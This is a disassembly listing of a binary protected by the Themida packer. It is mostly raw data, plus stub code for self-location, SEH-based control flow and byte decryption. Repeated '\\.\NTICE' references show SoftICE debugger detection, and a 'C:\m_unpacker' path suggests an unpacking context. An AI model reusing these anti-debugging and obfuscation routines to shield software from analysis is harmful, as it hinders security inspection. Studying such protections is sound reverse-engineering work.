		dw 256h
		dd 4 dup(0)
		dd 77E6D706h, 4	dup(0)
		dd 28h,	4 dup(0)
aVlU		db 'VLÑU',0
		align 2
		dw 77F5h
		dd 2 dup(0)
		dd offset dword_531F9C
		dd 5 dup(0)
		dd 4, 4	dup(0)
		dd 0FFFFFFFEh, 0
		dd offset a_Ntice	; "\\\\.\\NTICE"
		align 10h
		dd 23009173h, 0Fh dup(0)
		dd 0F0639770h, 2 dup(0)
		dd 6, 7	dup(0)
		dd 0B56Ah, 0Ch dup(0)
a7@		db '7Õ@>',0
		align 4
		dd 6 dup(0)
		dd 4808h, 0
aC9x		db 'æ\9å',0
		align 10h
		dd 0
		dd 7FFE0304h, 4	dup(0)
		dd offset dword_529874
		dd 3 dup(0)
		dd offset byte_5295B5
		align 10h
aCycw		db 'cyçw',0
		align 4
		dd 7 dup(0)
		dd 0FFFFFFFFh, 0
		dd 9BFA56h, 0FE8h, 3 dup(0)
		dd 9D9BACh, 0A29F05FBh,	2 dup(0)
		dd 510Dh, 2 dup(0)
		dd 0FFF80C10h, 9A0FE6h,	7FAE34FCh, 552D6Ah, 4 dup(0)
		dd 0C57F94B4h, 0Ah dup(0)
		dd 77F52E0Fh, 4	dup(0)
		dd 9B3E3Bh, 5 dup(0)
		dd 9B8C0Ah, 4 dup(0)
		dd offset aA_2		; "`aÂ\b"
		dd 6 dup(0)
		dd 19C1D993h, 9B69DDh, 7FFE0304h, 77E7A13Fh, 2 dup(0)
		dd offset byte_548F43
		dd 0
		dd 9FA5E7h, 12E313h, 0B624D830h, 6 dup(0)
		dd 7FFE0304h, 39h, 7FFE0304h, 77E82168h, 77E74A3Bh, 2 dup(0)
		dd 2550000h, 0A3B5155Dh, 9 dup(0)
		dd offset dword_5679A4
		dd 4 dup(0)
		dd 77DD189Ah, 5	dup(0)
		dd 57C6A71Fh, 9B5E2Eh, 4 dup(0)
		dd 144F2BCFh, 0
a1I		db '1Ô°ë',0
		align 8
		dd 77E7C486h, 12FF54h, 99988F94h, 4 dup(0)
		dd 1F7EA0BBh, 2	dup(0)
		dd 9C1568h, 2 dup(0)
		dd 3A1h, 0Eh dup(0)
a0I		db 'ß0Å©',0
		align 10h
		dd 2 dup(0)
		dd 0FFFFFFFFh, 4 dup(0)
		dd 0FFFFFF50h, 3 dup(0)
a7zAR		db '7z',9,'A· R',0
		align 8
		dd offset byte_527A37
		dd 7FFE0304h, 0
aDA6666csq	db '„²',9,'A6666æ‘Q',0
		dd 6 dup(0)
		dd 3AF4FDE4h, 0
		dd 23C0000h, 5 dup(0)
		dd 36Bh, 2 dup(0)
		dd offset dword_4F0648
		dd 4 dup(0)
		dd offset byte_55DBFB
		dd 12FFC4h, 3 dup(0)
		dd offset byte_527A37
		dd 0
aHm		db 'ÜHmÙ',0
		align 4
		dd offset dword_52A8B0
		dd 1, 6	dup(0)
dword_4EEA5C	dd 0B8h, 74C00B00h, 18C203h, 0C24448Bh,	0E853h,	815B0000h
					; DATA XREF: Themida_:004EFAE4o
		dd 17C3h, 245C8900h, 24448910h,	37B85B14h, 0FF009BA0h
		dd 24448BE0h, 0E0FF04h,	15h dup(0)
		dd offset word_54AF42
		dd 766B5137h, 55C1FDh, 0
		dd 11111111h, 3	dup(0)
		dd 9B69DDh, 0
		dd offset dword_4EF510
		dd 2 dup(0)
		dd offset word_55C5CE
		dd 7 dup(0)
		dd offset word_5560C6
		dd 2 dup(0)
dword_4EEB44	dd 5F090304h, 3E0h, 0E871E9A7h,	401000h, 2 dup(0)
					; DATA XREF: Themida_:004EF594o
					; Themida_:004EF86Co ...
		dd offset byte_54E081
		dd 2 dup(0)
aSzN		db '™§Èn',0
		align 10h
aNS		db 'n²s',7,0
		align 4
		dd 30h dup(0)
aL?lSfi		db 'L?lš™”›',0
		dd 0
		dd 0FFFD0800h, 0
		dd offset byte_54330B
		dd 0
		dd 1DBFFB0h, 5407AEh, 9	dup(0)
		dd offset byte_557281
		dd 9 dup(0)
		dd 0BDA01F43h, 8 dup(0)
		dd offset unk_48D000
		dd 2 dup(0)
		dd 0AF3Fh, 6 dup(0)
		dd 0A280105h, 7	dup(0)
		dd 7FFE0304h, 4	dup(0)
		dd 77EB87F2h, 5	dup(0)
		dd offset word_546B96
		dd 77E80618h, 4AE89234h, 0
		dd 56696713h, 2	dup(0)
		dd offset aQrs+1
		dd 0
		dd 0FFFFFFFEh, 5 dup(0)
aF_2		db 'Ò±¿”',0
		align 4
		dd 2 dup(0)
		dd 7FFE0304h, 0FFFFA0ACh, 0
		dd offset dword_528898
		dd 74h,	554AEAh, 2 dup(0)
		dd offset a5PCcuQ2R5	; "5$¯ÅcCuÐq½2êR5"
		dd 2 dup(0)
aN		db 'ÝÇ/n',0
		align 10h
		dd 9 dup(0)
aMcwl?lBor	db '^¬çwL?lš¡®R',0
		dd 2 dup(0)
aZdA		db '§D',9,'A',0
		align 10h
		dd 4 dup(0)
		dd offset a_Ntice	; "\\\\.\\NTICE"
		dd 5 dup(0)
		dd 7FFE0304h, 0A9C530DFh, 0
		dd offset dword_55D1A8
		dd 0
		dd 7FFE0304h, 77DD0000h, 526CB8h, 7 dup(0)
aFn@n		db 'äN@­',0
		align 4
dword_4EEE6C	dd 0E51F2973h, 68h dup(0)
		dd 30DFh, 3 dup(0)
		dd 0FAF7B56Ah, 3 dup(0)
		dd 1CABF455h, 2	dup(0)
aNn3n		db '3n',0
		align 8
		dd 7FFE0304h, 0
		dd 9B69DDh, 0Ah	dup(0)
		dd 1, 2	dup(0)
		dd 3AA00h, 248DBABh, 4 dup(0)
a0I_0		db 'ß0Å©',0
		align 4
		dd 0
		dd 4F18B15h, 9C3154h, 4	dup(0)
		dd 90E5h, 53BDC9D6h, 2 dup(0)
		dd offset word_55CAF6
		dd 7 dup(0)
		dd 4, 0
		dd 5E0023h, 7312AE55h, 5 dup(0)
		dd offset aLS		; "`‹\\$$è"
		dd 4 dup(0)
		dd 1, 0
a7icw		db '7¨çw',0
		align 4
		dd 4 dup(0)
		dd 9B69DDh, 0
		dd 0FFAE6E1Ah, 5 dup(0)
		dd offset word_53CB76
		dd 3 dup(0)
		dd 281047h, 9A003Eh, 0
		dd 4000F0h, 5 dup(0)
		dd 9B09F7h, 0
		dd 0FF645FF1h, 4 dup(0)
		dw 3Eh
		unicode	0, <»>,0
		align 4
		dd 77D40000h, 0
aZsD		db '§éÏD',0             ; DATA XREF: Themida_:004F0CD0o
		align 4
aXr		db 'å',0
		align 4
		dd 3 dup(0)
		dd 1, 2	dup(0)
aPoc		db 'ØoC',0
		align 4
aHhj		db 'hH¦',0
		dd 3 dup(0)
		dd offset dword_545F50
		dd 1657D63Fh, 4	dup(0)
		dd 10F3202h, 0FAF7B56Ah, 0AE1D70AAh, 4 dup(0)
aTuO		db 'tUÔŽ',0
		align 4
		dd 0Ch dup(0)
		dd 80008C6Bh, 0
aCycw_0		db 'cyçw',0
		align 4
		dd 1C0000h, 0
a0I_1		db 'ß0Å©',0
		align 4
		dd 2 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd offset byte_55BC8B
		dd 3 dup(0)
		dd offset byte_5569CF
		dd 1, 0E3422F79h, 6F00h, 2 dup(0)
		dd 90E5h, 0
a@V		db '@',1Bh,'´v',0
		align 10h
		dd 3 dup(0)
		dd 0A90000h, 527A37h, 19h dup(0)
		dd 9A0000h, 7FFE0304h, 529874h,	2 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 23h,	9B2BDEh, 0Ah dup(0)
		dd 1, 0FE4698C4h, 77E805D8h, 0FFA8A892h, 3 dup(0)
		dd 0FFAC8BACh, 6 dup(0)
		dd 0FF0672B5h, 9D7FD8h,	0
		dd 0EBF8496h, 3	dup(0)
		dd 0A3B5155Dh, 9AB168h,	6 dup(0)
		dd offset byte_527A37
		dd 3 dup(0)
		dd offset dword_444EC4+18Eh
		dd 0
		dd 24510CAh, 53043Ch, 312D3430h, 0
aAl		db 'ÓAL¸',0
		align 4
		dd 7FFE0304h, 4	dup(0)
		dd 9A0A9Ah, 4 dup(0)
aHxmv		db 'hXMV',0
		align 4
		dd 2 dup(0)
aVKz		db '‚',27h,'kZ',0
		align 4
		dd 7 dup(0)
		dd 90E5h, 2 dup(0)
		dd offset word_557022
		dd offset byte_52B569
		dd 3 dup(0)
		dd 171000h, 0Eh	dup(0)
		dd 5C378300h, 9748h, 0E4h
dword_4EF510	dd 2, 3D29ADA1h, 4 dup(0) ; DATA XREF: Themida_:004EE45Co
					; Themida_:004EEB0Co ...
		dd 0FFFFA74Ch, 3 dup(0)
aCw_0		db ']°çw',0
		align 10h
		dd 7FFE0304h, 4	dup(0)
		dd 9B915Bh, 2 dup(0)
		dd 0FFEh, 0A552C4B4h, 0
		dd 0FFFFFFFFh, 54361Eh,	5 dup(0)
		dd 8001FCFCh, 9F9995h, 0
		dd offset dword_4EEB44+4
a@pQ5iGazpP	db '@p)Ÿ5¨·ƒí‡Óp',0
		align 4
		dd offset dword_53C930
		dd 3 dup(0)
		dd 13F3E109h, 558246h, 3A0h, 53C8DB88h,	4 dup(0)
		dd 0F0A7352Ch, 2 dup(0)
		dd offset dword_4EEE6C+10h
		dd 11h dup(0)
aHSw		db 'h>èw',0
		align 4
		dd 7 dup(0)
		dd 90E5h, 7FFE0304h, 0
		dd 1DBFFB0h, 0FF0601FFh, 3 dup(0)
		dd 6Ch,	0
		dd 12FF54h, 0Dh	dup(0)
		dd 77FCD7A9h, 0
		dd offset dword_51F9EC
aRestartapp_exe	db 'RestartApp.exe',0
		align 4
		dd 7 dup(0)
		dd 90E5h, 5 dup(0)
		dd 1, 53992Fh, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset dword_52EF24
		dd 4 dup(0)
		dd offset dword_535554
		dd 3 dup(0)
		dd 71FDBE00h, 522067h, 0EE46h, 0
		dd 2860000h, 9C1568h, 0
		dd 77FC5024h, 5	dup(0)
aThemida	db 'Themida',0
		dd 1Ch dup(0)
		dd 0FF0h, 2 dup(0)
		dd offset byte_526B55
		align 10h
		dd 12FF54h, 0
		dd 189306h, 0
		dd 41784ABh, 0
		dd 0FAF7B56Ah, 4F0648h,	6 dup(0)
		dd 0A600h, 6 dup(0)
		dd offset dword_52D2A8
aDbcw		db 'D¡çw',0
		align 10h
		dd 7FFE0304h, 2	dup(0)
		dd offset dword_4EEB44+4
		dd 2 dup(0)
		db '$$$$',0
		align 10h
		dd 0Ah dup(0)
		dd 20BFFB0h, 73DDE7F7h,	121F04h, 5 dup(0)
		dd 196Bh, 0Eh dup(0)
		dd offset word_557022
		dd 9 dup(0)
aINO		db 'ÝI*n<',1Bh,'O',0
		dd 5 dup(0)
		dd 7FFE0304h, 566EA7h, 0
		dd 1163h, 0
		dd 1A7698Dh, 3 dup(0)
a333333333333	db '333333333333',0
		align 4
		dd 0FE8h, 2 dup(0)
		dd 88h,	2 dup(0)
aU_0		db '¿µ~;ÉÅU',0
		align 10h
aMaI		db '’',0Ah
		db 'ˆ',0
		align 4
		dd 2570000h, 4 dup(0)
		dd 0A8h, 0A9C530DFh, 8 dup(0)
		dd 0FFB10AF0h, 2 dup(0)
		dd offset word_53313E
		align 8
		dd 0E2022653h, 0
		dd offset dword_4F0928
		dd 4 dup(0)
		dd 9A00F8h, 3 dup(0)
		dd 6169FA8Fh, 2	dup(0)
		dd offset byte_5218C3
		align 8
		dd 2, 1E3B7273h, 5548A9h, 4 dup(0)
		dd 8C000h, 5 dup(0)
		dd offset byte_52208F
		dd 3 dup(0)
		dd 7FFE0304h, 0A0h, 8 dup(0)
		dd 9C3154h, 94h, 4 dup(0)
		dd 2000h, 9 dup(0)
		dd offset dword_4EEA5C
		dd 3 dup(0)
aS_5		db 'éÝÌÞ',0
		align 10h
		dd offset word_5288EE
		dd 147FB139h, 2	dup(0)
		dd offset byte_527A37
		dd 23C000Ch, 4EEB48h, 9	dup(0)
		dd 77501D6Dh, 36000h, 86161D8Ch, 4 dup(0)
		dd 0FFFFFFFFh, 0
		dd 77FC5024h, 2	dup(0)
		dd 9C1568h, 0
dword_4EFB78	dd 4, 6	dup(0)		; DATA XREF: Themida_:004F0DECo
		dd 2540000h, 0
		dd 100h, 6 dup(0)
		dd 870h, 7FFE0304h, 2 dup(0)
		dd 1300h, 0FFFF91E6h, 7	dup(0)
		dd offset dword_4EEE6C+11h
		dd 10h dup(0)
aS1A		db 'è1',27h,'A',0
		align 10h
		dd 2 dup(22222222h), 8001FCFCh,	0
		dd 531C9h, 8 dup(0)
aSzN_0		db '™§Èn',0
		align 10h
		dd offset word_5303B6
		align 10h
		dd 78h,	2 dup(0)
		dd offset byte_539AB1
		dd 0
		dd 1, 3	dup(0)
aCWindowsSystem	db 'C:\WINDOWS\System32\ADVAPI32.dll',0
		align 4
		dd 39h dup(0)
		dd offset dword_55D150
		dd 3 dup(0)
		dd 15DAFFCEh, 2	dup(0)
		dd 7D1h, 4F0648h, 2 dup(0)
		dd 8F014h, 0
		dd offset word_52F9CA
		dd 8 dup(0)
		dd offset byte_538367
		dd offset a_Ntice	; "\\\\.\\NTICE"
		align 10h
		dd offset word_532182
		align 8
		dd 7FFE0304h, 2	dup(0)
		dd 36Bh, 3 dup(0)
		dd 3F0FFD91h, 0FFFFDCB7h, 3 dup(0)
		dd offset word_54361E
		align 10h
		dd offset byte_542B33
		dd 2 dup(0)
		dd 21541FAEh, 2	dup(0)
		dd offset dword_5561F0
		dd 9 dup(0)
		dd 7FFE0304h, 0
		dd 8001FCFCh, 0
		dd 7FFE0304h, 8Ch, 8051CE7Ah, 2	dup(0)
		dd 0F9ECh, 2 dup(0)
		dd 0F8836AD1h, 9BA00Fh,	0
		dd 0FFFFFFFFh, 0FFABD90Ah, 9B69DDh, 0Bh	dup(0)
		dd 71FDBE00h, 0
aTyuj		db 'tYU†',0
		align 10h
		dd offset byte_5218C3
		dd 4 dup(0)
		dd 330000h, 3 dup(0)
		dd 196Bh, 8 dup(0)
aZ		db '~z;Ï',0
		align 10h
		dd 2 dup(0)
		dd 0FB3AEE3Eh, 5 dup(0)
		dd offset byte_548F43
		dd 4 dup(0)
		dd 8001FCFCh, 3	dup(0)
aZQa		db 'zÎQ€',0
		align 10h
		dd 0FFFFFFFEh, 2 dup(0)
		dd 6B404E2Eh, 19h, 2 dup(0)
		dd 9B69DDh, 4 dup(0)
		dd 88EEh, 0
		dd offset loc_4059E4+4
		dd 3 dup(0)
		dd 7Ch,	144F2BCFh, 0
		dd 0C6183346h, 77DD5ECCh, 0
		dd offset loc_403048
		dd offset byte_529079
		dd 0
		dd 9DB134h, 0
dword_4F0044	dd 2 dup(0)		; DATA XREF: ___:0042CC8Co
		dd 0FAF7B56Ah, 2 dup(0)
		dd 7FFE0304h, 3	dup(0)
		dd offset a_Ntice	; "\\\\.\\NTICE"
aGaj		db '£€¦Í',0
		align 4
		dd offset byte_555D69
		align 10h
aCN		db '½çÈn',0
		align 4
		dd 5 dup(0)
		dd 9B3145h, 7FFE0304h, 0
		dd 0A30671FFh, 3 dup(0)
		dd 0E80h, 0
		dd 1CABF455h, 6	dup(0)
		dd 0F74h, 2 dup(0)
		dd 8818869Dh, 51F9ECh, 4 dup(0)
		dd 0FFFF9174h, 6 dup(0)
		dd offset dword_4EEB44+4
		dd 0Ah dup(0)
		dd 313Fh, 9 dup(0)
		dd 0FFFFFFFFh, 0Dh dup(0)
		dd 0FFABA580h, 2 dup(0)
		dd 9BA00Fh, 8 dup(0)
		dd 7FFE0304h, 410944A7h, 2 dup(0)
		dd 77E75CB5h, 0FFAD9208h, 27h dup(0)
		dd 7FFE0304h, 15h dup(0)
		dd 77E60000h, 2	dup(0)
		dd offset byte_4F1E7F
		dd 3B65B029h, 1, 3 dup(0)
		dd offset loc_403048
		align 10h
		dd 0FFFF50C1h, 9A0A9Ah,	9B8C0Ah, 535359h, 0DFD0h, 0
		dd 51006A60h, 2	dup(0)
		dd offset aJse+1
		align 10h
		dd 5F08h, 0
		dd 0FFAA3A32h, 3 dup(0)
		dd offset dword_532F18
		align 10h
		dd offset aJse+1
		dd 0AFh	dup(0)
aId		db 'țD~',0
		align 4
		dd 3 dup(0)
		dd 9B69DDh, 0F05106F8h,	3 dup(0)
dword_4F0648	dd 9C23E8h, 12FF54h, 5 dup(0) ;	DATA XREF: Themida_:004EDD44o
					; Themida_:004EEA04o
		dd offset dword_4EF510
		dd 4 dup(0)
		dd 95CA8D8Dh, 0FE389673h, 28h dup(0)
		dd 88B3883Bh, 0ABA1FEh,	0
		dd offset aNNs+3
		dd 9Ch,	6 dup(0)
		dd 400000h, 6 dup(0)
		dd 0FFFF9178h, 6 dup(0)
		dd 0ACh, 9 dup(0)
		dd offset a_Ntice	; "\\\\.\\NTICE"
		dd 2 dup(0)
		dd 9C13944Eh, 3	dup(0)
		dd 4FF2445Fh, 0
aNi		db 'NiÚ¹',0
		align 4
		dd 7 dup(0)
		dd 77E78B82h, 12FF54h, 3 dup(0)
		dd 9B9C37h, 1Fh	dup(0)
		dd 9D7316h, 5 dup(0)
		dd 0FFFDD4F0h, 3 dup(0)
		dd 71FDBE00h, 0FFAD48E2h, 5 dup(0)
		dd offset dword_4F16A4
		dd 2 dup(0)
		dd 0FFAD5763h, 0
aJW		db 'jÉÔw',0
		align 4
		dd 0Eh dup(0)
		dd 9B70C4h, 9B69DDh
dword_4F0928	dd 9C3268h, 4 dup(0)	; DATA XREF: Themida_:004EFA00o
		dd 77D4C96Ah, 0C2AF1803h, 2 dup(0)
		dd 9BA037h, 2 dup(0)
		dd offset dword_556334
		dd offset byte_55BC8B
		dd 0
		dd 90E5h, 0
		dd 9B915Bh, 9 dup(0)
		dd 77F78A7Fh, 6	dup(0)
		dd 0FFFF95F8h, 5 dup(0)
		dd offset word_552D6A
		dd 3 dup(0)
		dd 9F8D53h, 0
		dd 0BDA01F43h, 0FAF7B56Ah, 527A49h, 9B3E3Bh, 53CB76h, 5462F7h
		dd 10h dup(0)
		dd 77FCD7A9h, 54629Ah, 0
aCM_unpacker	db 'C:\m_unpacker',0
		align 4
		dd 7Fh dup(0)
		dd 0B20000h, 4518B7C1h,	546330h, 7FFE0304h, 2 dup(0)
		dd 0BC907028h, 0FFFFFFFFh, 2 dup(0)
aEk		db 'ÄÌEk',0
		align 10h
		dd 0
		dd 77E75CB5h, 4001E8h, 0Ah dup(0)
aT		db '’=Ô¹',0
		align 4
		dd 5 dup(0)
		dd offset aZsD+4
		align 10h
		dd 28618EEh, 0FF06036Fh, 323h, 2 dup(0)
		dd 8005F6F4h, 0
		dd 98h,	4 dup(0)
		db '!!!!',0
		align 4
aPs		db '¯è',0
		align 4
		dd 3 dup(0)
		dd offset byte_539B7F
		dd 3 dup(0)
		dd offset byte_53CAC5
		align 10h
		dd 11BFFB0h, 10h dup(0)
		dd 0FFAA9FCCh, 0
		dd 77E7A5FDh, 8	dup(0)
aZdA_0		db '§D',9,'A',0
		align 4
		dd 3 dup(0)
		dd 76059FE5h, 281A057Bh, 0
aLIs		db 'L°‰é',0
		align 4
		dd 3 dup(0)
		dd 1, 0
		dd offset dword_4EFB78
aJCw		db '¦+çw',0
		align 4
		dd 4 dup(0)
		dd 12FFF0h, 527A37h, 0A82A2Eh, 2 dup(0)
		dd offset dword_4EF510
		dd 0Ch dup(0)
		dd 0A9B1CAh, 0
		dd 7FFE0304h, 0
		dd 0B862h, 0
		dd 0B8h, 4 dup(0)
		dd 7FFE0304h, 1Eh dup(0)
		dd 6C8Bh, 77E77963h, 90h, 0
a0I_2		db 'ß0Å©',0
		align 10h
		dd 0
		dd 84h,	0FF9Dh,	558246h, 7FFE0304h, 0
		dd 90E5h, 1F8h,	0
		dd offset dword_56567C
		align 10h
		dd offset a_Ntice	; "\\\\.\\NTICE"
		dd 492AB0F3h, 7	dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 0FFFF9288h, 0
aZc3		db 'ÏZC3',0
		align 10h
		dd 2 dup(0)
		dd 7FFE0304h, 0FFED00A4h, 5F94h, 8 dup(0)
aAzp		db 'í‡Ó',0
		align 4
		dd 3 dup(0)
		dd 9B9393h, 4EF510h, 12FFE0h, 0A7757Fh,	0
		dd 0FFFFA554h, 53C8DB88h, 3 dup(0)
		dd offset word_5288EE
		dd 0ED9FDEFh, 4	dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4F1008:				; CODE XREF: start:loc_4EDCB7j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 5E2335Bh
		mov	[ebp+5E20D65h],	edx
		mov	[ebp+5E205C5h],	esi
		mov	[ebp+5E23151h],	eax
		cmp	dword ptr [ebp+5E20F7Dh], 0
		jz	short loc_4F1040
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4F1040:				; CODE XREF: start+6201Ej
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+5E20B01h],	eax
		push	45h
		call	sub_4F10F4
		push	783749Ah
		call	sub_4F113A
		push	0A894B25h
		call	sub_4F113A
		jmp	loc_4F127E
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 4645h
		dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
		dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
		dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
		dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
		dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
		dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
		dd 0C2C1C0BFh, 0C3h, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4F10F4	proc near		; CODE XREF: start+62038p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 5E23449h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_4F1110:				; CODE XREF: sub_4F10F4+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_4F112F
		mov	eax, [ebp+arg_0]
		mov	[ebx+5E233B3h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_4F1110
; ---------------------------------------------------------------------------


loc_4F112F:				; CODE XREF: sub_4F10F4+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_4F10F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4F113A	proc near		; CODE XREF: start+62042p start+6204Cp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 5E23492h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_4F1160:				; CODE XREF: sub_4F113A+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_4F1160
		mov	[ebp+var_84], 0
		lea	edi, [edx+5E233B3h]
		lea	esi, [ebp+var_80]


loc_4F1190:				; CODE XREF: sub_4F113A+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_4F119C:				; CODE XREF: sub_4F113A+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_4F119C
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_4F1190
		popa
		leave
		retn	4
sub_4F113A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_4F11DA
; ---------------------------------------------------------------------------


loc_4F11D6:				; CODE XREF: Themida_:004F11DDj
		inc	dword ptr [ebp-4]
		inc	esi


loc_4F11DA:				; CODE XREF: Themida_:004F11D4j
		cmp	byte ptr [esi],	0
		jnz	short loc_4F11D6
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_4F126B
; ---------------------------------------------------------------------------


loc_4F11EC:				; CODE XREF: Themida_:004F126Ej
		mov	dword ptr [ebp-8], 0
		jmp	short loc_4F1262
; ---------------------------------------------------------------------------


loc_4F11F5:				; CODE XREF: Themida_:004F1266j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_4F124F
; ---------------------------------------------------------------------------


loc_4F1205:				; CODE XREF: Themida_:004F1253j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_4F1227
		cmp	bl, 39h
		ja	short loc_4F1227
		sub	bl, 30h
		jmp	short loc_4F1249
; ---------------------------------------------------------------------------


loc_4F1227:				; CODE XREF: Themida_:004F121Bj
					; Themida_:004F1220j
		cmp	bl, 61h
		jb	short loc_4F1239
		cmp	bl, 66h
		ja	short loc_4F1239
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_4F1249
; ---------------------------------------------------------------------------


loc_4F1239:				; CODE XREF: Themida_:004F122Aj
					; Themida_:004F122Fj
		cmp	bl, 41h
		jb	short loc_4F1249
		cmp	bl, 46h
		ja	short loc_4F1249
		sub	bl, 41h
		add	bl, 0Ah


loc_4F1249:				; CODE XREF: Themida_:004F1225j
					; Themida_:004F1237j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_4F124F:				; CODE XREF: Themida_:004F1203j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_4F1205
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_4F125F
		mov	eax, [ebp-10h]
		stosb


loc_4F125F:				; CODE XREF: Themida_:004F1259j
		inc	dword ptr [ebp-8]


loc_4F1262:				; CODE XREF: Themida_:004F11F3j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_4F11F5
		add	edx, 4


loc_4F126B:				; CODE XREF: Themida_:004F11EAj
		cmp	edx, [ebp-4]
		jb	loc_4F11EC
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4F127E:				; CODE XREF: start+62051j
		mov	ecx, 7000h
		lea	edi, [ebp+5E235D8h]


loc_4F1289:				; CODE XREF: start+62279j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_4F1289
		mov	eax, 48692121h
		mov	edx, 0F008F000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+5E236D1h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		sbb	bx, 0D612h
		push	0
		push	ebx
		call	sub_4F12CA
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_4F12CA	proc near		; CODE XREF: start+622AEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_4F12CA	endp

; ---------------------------------------------------------------------------
		dw 6877h
		dd 7C3DD53Bh, 0FC22B81h, 58Dh, 3462BB00h, 66603936h, 8B66DF8Bh
		dd 2561C2h, 8BFFFFF0h, 66FF33CAh, 5A4D3881h, 0B70F0E75h
		dd 0D0033C50h, 45503A81h, 8740000h, 10002Dh, 0E3EB4700h
		dd 58F64h, 83000000h, 958D04C4h, 5E236E4h, 35FF6452h, 0
		dd 258964h, 3000000h, 10002DC1h, 708B0000h, 0E68104h, 81FFFF00h
		dd 0FEh, 8B037680h, 0C0331C70h,	7432F883h, 3E81661Fh, 9745A4Dh
		dd 0EE81h, 0EB400001h, 3C7E8BEBh, 3F81FE03h, 4550h, 0E8EB4474h
		dd 58F64h, 83000000h, 0C36104C4h, 244C8B51h, 0B0A98110h
		dd 0
		dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h
		dd 0E236EFEDh, 0AD858D05h, 8905E236h, 0B881h, 33595D00h
		dd 6496C3C0h, 58Fh, 0C4830000h,	12E904h, 94D70000h, 0FE7CE4EAh
		dd 43BA0BFCh, 98C63A42h, 0A1A8FCD5h, 8C668AB7h,	56006AD9h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0E7F977EBh, 4E180BAh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 5EC35545h, 0C959CFCDh, 806AE916h, 10E9CCC7h
		dd 14000000h, 116916Ch,	4A0078F0h, 0E69B8086h, 0A3BD7AAh
		dd 74850FC9h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0DFF3C357h,	14F18769h
		dd 9E8h, 0B09DAA00h, 0D2DECE9Dh, 0BF0F064Fh, 85C75BDEh
		dd 5E200B9h, 1,	0E38166FCh, 37E9EFFDh, 6A000000h, 3E85000h
